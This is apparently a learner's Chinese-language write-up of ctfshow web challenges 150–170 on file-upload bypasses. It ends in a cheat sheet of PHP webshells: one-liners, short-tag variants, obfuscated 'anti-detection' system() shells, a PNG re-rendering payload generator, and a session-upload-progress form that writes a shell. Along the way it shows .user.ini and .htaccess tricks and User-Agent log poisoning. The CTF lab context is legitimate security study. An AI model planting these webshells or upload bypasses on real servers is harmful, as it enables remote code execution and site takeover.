ctfshow_web 入門 檔案上傳
檔案上傳
還是是一邊學習一邊做筆記的文章,由於是學習,所以會顯得囉嗦
還請各位師傅擔待~
如果有不正確的地方,請師傅們斧正謝謝師傅們
web150
火狐關閉js的外掛一旦開啟,就沒法點選上傳按鈕了。
而且這裡沒法上傳.php .jpg
等字尾檔案,只能選擇png
格式圖片。所以只能以夠抓包然後修改內容的方式上傳圖片馬。
同時,一旦圖片格式滿足,就自動上傳了。
開啟burp開啟,然後上傳一張png格式圖片,在burp抓的包中新增一句話木馬<?php eval($_POST['cmd']);?>
,修改圖片字尾為.php
上傳
訪問對應網頁即可
web151
同web150
web152
首先嚐試上傳php
.user.ini
配置檔案,因為是nginx
系統,所以配置檔案是.user.ini
,.htaccess和.user.ini配置檔案妙用
同樣,上傳png檔案,burp抓包修改檔案資訊(將資訊傳入repeater之後可以反覆修改,反覆提交),檔名修改為.user.ini
,內容新增auto_prepend_file=meima.png
。再上傳一個名為meima.png
的圖片馬即可
最後訪問/url/upload/index.php
,用cmd=system('tac /var/www/html/f*');
輸入命令獲取flag就好
web 154
同樣,先上傳.user.ini
,內容auto_prepend_file=meima.png
meima.png
的圖片馬。
就可以利用上一關的repeater中的資料包,將host給修改一下就可以。
.user.ini
auto_prepend_file=meima.png
同時,圖片馬:
meima.png
<?= eval($_POST['cmd']);?>
同樣,在火狐中,將host給修改一下,繼續執行即可,命令都不需要改
web 155
嫖web154,操作完全一致
web 156
為啥我上傳沒有馬的png也不行呢?哦,原來是檔案內容太長了。
整一個短一點的馬兒或者是將抓到的包的資訊給改少一點。
過濾了[],用{}
進行繞過
因為之前上傳過一次
<? `tac /var/www/html/f*`;?> 也可能是沒有加echo,這個有點不太清楚
但是顯示結果卻是:no thing here ,所以這裡打算覆盤一下,用webshell,寫一個php檔案進去測試;最後用蟻劍連線之後發現,建立了檔案,但是檔案中沒有內容
最後可以直接用蟻劍寫入檔案,
所以說,在``之前是需要加上echo 的;
``相當於是shell_exec()函式
同樣,也可以直接從burp中修改命令,然後反覆上傳以達到目的,原來的檔案會被替換掉
web 157
額,看樣子貌似是過濾了;
,可以上傳拿到flag
<? echo `tac /var/www/html/f*`?>
PHP最後一句可以不用加;
,貌似只是針對這種邏輯簡單的可以不加,一些邏輯比較複雜的程式碼最後還是是需要加的
web 158
用157的方法,直接拿下
web 159
貌似過濾了system
或者()
用157的方法,直接拿下
web 160
這個題過濾了空格 ()
額,還記得檔案包含的web82不,那個上傳session檔案的解題方式,這題也用那個方式
一共要準備四個包;
一個上傳.user.ini
檔案上傳包,一個1.png
檔案上傳包;一個url/upload/index.php
反覆請求包,一個session
反覆上傳包;
接著條件競爭,
一個burp一直請求/url/upload/index.php
另一邊,一直上傳檔案
訪問/url/test1.php,如果有頁面就成功,沒有就失敗,重來一次就行
拿到flag
Firebasky師傅的wp中提到,auto_prepend_file的配置相當於檔案包含。
web 161
有檔案頭的一個判斷,選擇GIF89a
的檔案頭,比較方便記憶與繞過
順帶看一下,圖片有沒有被修改,發現,(我們的圖安然無恙!)
在檔案頭前面加上GIF89a
,然後就可以白嫖web160的方法了
方法二:日誌包含
在user-agent中加入一句話木馬,然後在圖片中加入引入日誌檔案的程式碼
在配置檔案.user.ini
中,將auto_prepend_file設定為:1.png
接著訪問url/upload/index.php,那麼就會執行1.png的程式碼,由於1.png引入日誌檔案,那麼日誌檔案中的一句話木馬就會被執行
突然想問一句,既然auto_prepend_file能進行檔案包含,那麼是不是可以直接從auto_prepend_file入手日誌檔案呢?不行
web 162
過濾了.
,但是發現,可以直接上傳,可以白嫖上面的方法,上傳檔案1的時候,檔案內容一定要少
web 163
發現一個以前沒有注意過的點:
如果是用數字來作為post陣列的鍵時,不能夠用引號括起來,不然利用session寫入木馬時會無法寫入
所以所以這裡就卡了很久,但是依舊沒有上傳請求成功
web 164(png圖片二次渲染)
這個題怎麼說呢,沒有發現有一個download.php檔案,所以也就不知道怎麼去做。
所以我這裡也就直接照搬做出來的大佬的筆記了
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); #儲存在本地的圖片馬
?>
上傳圖片成功之後,訪問url/download.php?iamge=xxxx&0=system post傳入:1=cat flag.php
就可以得到flag
web 165
jpg圖片渲染用164指令碼依舊可行,只是我這裡一直上傳不了
web 166
上傳zip檔案,在zip檔案中寫入一句話,通過download.php進行下載,然後rce
由於下載時是GET方式,所以之類馬兒裡也用的get方式
這裡注意到download.php,就順帶看了一下,因為最之前不知道如何通過download.php進行檔案包含的,哦~原來裡面有一個include($file)
web 167
看到httpd,想到是不是Apache。於是F12通過network檢視,
上傳.htaccess
,這題需要上傳jpg格式的馬兒,同時寫入
AddType application/x-httpd-php .jpg
?為什麼我開的題目環境一直出問題???
不過按理來說,訪問/url/upload/1.jpg即可;
原來是配置檔案解析錯誤,上傳的配置檔案中,只寫一句和解析有關的就夠了,多餘的刪除,否則會有500的錯誤
大佬的wp
web 168
可以直接上傳.php
檔案
檢視flag,反引號是shell_exec()函式的簡寫;需要用echo來進行輸出
看了羽師傅部落格,又l瞭解到了很多:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
web 169
直接將<過濾了,所以也沒有辦法執行PHP程式碼,於是這題考慮日誌包含
同時,上傳時,需要burp抓包上傳,上傳zip
檔案,並且將file_content修改為image/png
才能成功上傳
在user-agent中寫入一句話木馬,<?php eval($_POST['cmd']);?>
上傳一個.user.ini檔案,auto_prepend_file=/var/log/nginx/access.log
上傳一個1.php檔案,內容隨便寫123
,因為url/upload/
目錄下沒有檔案,所以需要寫一個檔案來承接.user.ini
接著就可以訪問/url/upload/1.php
,然後rce
也可以用蟻劍連線,方便找flag。
web 170
同上
解題
上傳配置檔案,然後傳馬
馬兒內容
短標籤馬兒:
一般的馬兒:
<?php eval($_POST['cmd']);?>
沒有PHP的馬兒
<?= eval($_POST['cmd']);?>
<? eval($_POST['cmd']);?>
<% eval($_POST['cmd']);%>
有PHP的馬兒
<script language="php"></script>
特殊馬兒:
過濾[]:用{}代替
<?= eval($_POST['cmd']);?>
直接拿flag的變形馬兒
<? echo `tac /var/www/html/f*`;?>
<? echo `tac /var/www/html/f*`?>
免殺馬兒:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
上傳配置檔案,上傳sessionid的馬兒
.user.ini
檔案中寫入auto_prepend_file=1.png
1.png
中寫入<?include"/tmp/sess_test"?>
,此處sess_test中的test是PHPSESSIDd的值
uplaod_session.php
<html>
<body>
<form action="http://fece0c1e-a60a-49b8-afde-a015f784c864.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php file_put_contents('/var/www/html/test1.php','<?php eval($_POST[1]);?>')?>">
<input type="file" name="file">
<input type="submit" value="submit">
</form>
</body>
</html>
此處程式碼,抓包後在cookie位置新增:PHPSESSID=test
格式
GIF89a
注意:
發現一個以前沒有注意過的點:
如果是用數字來作為post陣列的鍵時,不能夠用引號括起來,不然利用session寫入木馬時會無法寫入
謝謝師傅們觀看~